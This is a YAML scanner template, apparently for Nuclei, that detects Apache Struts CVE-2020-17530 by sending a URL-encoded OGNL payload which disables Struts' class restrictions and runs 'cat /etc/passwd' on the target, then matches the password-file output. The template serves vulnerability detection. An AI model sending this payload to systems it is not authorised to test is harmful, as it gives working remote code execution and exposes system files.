34 lines
2.0 KiB
YAML
34 lines
2.0 KiB
YAML
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id: CVE-2020-17530
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info:
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name: Apache Struts 2.0.0-2.5.25 - Remote Code Execution
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author: pikpikcu
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severity: critical
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description: Apache Struts 2.0.0 through Struts 2.5.25 is susceptible to remote code execution because forced OGNL evaluation, when evaluated on raw user input in tag attributes, may allow it.
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reference:
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- http://packetstormsecurity.com/files/160721/Apache-Struts-2-Forced-Multi-OGNL-Evaluation.html
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- http://jvn.jp/en/jp/JVN43969166/index.html
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- https://cwiki.apache.org/confluence/display/WW/S2-061
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- https://security.netapp.com/advisory/ntap-20210115-0005/
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- https://nvd.nist.gov/vuln/detail/CVE-2020-17530
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2020-17530
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cwe-id: CWE-917
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tags: cve,cve2020,apache,rce,struts,kev,packetstorm
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http:
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- method: GET
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path:
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- "{{BaseURL}}/?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22cat+%2Fetc%2Fpasswd%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D"
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matchers-condition: and
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matchers:
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- type: regex
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regex:
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- "root:.*:0:0:"
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part: body
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# Enhanced by mp on 2022/04/27
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